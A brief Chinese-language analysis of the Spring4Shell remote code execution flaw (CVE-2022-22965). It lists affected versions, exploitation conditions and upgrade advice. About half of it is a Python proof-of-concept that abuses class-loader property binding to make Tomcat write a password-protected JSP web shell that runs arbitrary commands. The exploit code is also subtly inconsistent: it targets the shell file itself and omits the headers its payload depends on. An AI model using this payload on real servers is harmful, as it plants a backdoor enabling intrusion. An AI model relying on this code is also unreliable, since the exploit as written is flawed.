Spring Framework 远程代码执行漏洞分析
漏洞概述
2022年3月,Spring Framework 被曝出远程代码执行漏洞(CVE-2022-22965),被称为 "Spring4Shell"。
影响版本
- Spring Framework 5.3.0 to 5.3.17
- Spring Framework 5.2.0 to 5.2.19
- 以及更早的版本
漏洞利用条件
- 使用 Spring Framework 的表单绑定功能
- 运行在 Tomcat 上
- 使用 WAR 部署方式
POC代码
import requests
url = "http://target.com/shell.jsp"
data = {
"class.module.classLoader.resources.context.parent.pipeline.first.pattern": "%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i",
"class.module.classLoader.resources.context.parent.pipeline.first.suffix": ".jsp",
"class.module.classLoader.resources.context.parent.pipeline.first.directory": "webapps/ROOT",
"class.module.classLoader.resources.context.parent.pipeline.first.prefix": "shell",
"class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat": ""
}
response = requests.post(url, data=data)
print(response.status_code)
修复建议
升级到 Spring Framework 5.3.18+ 或 5.2.20+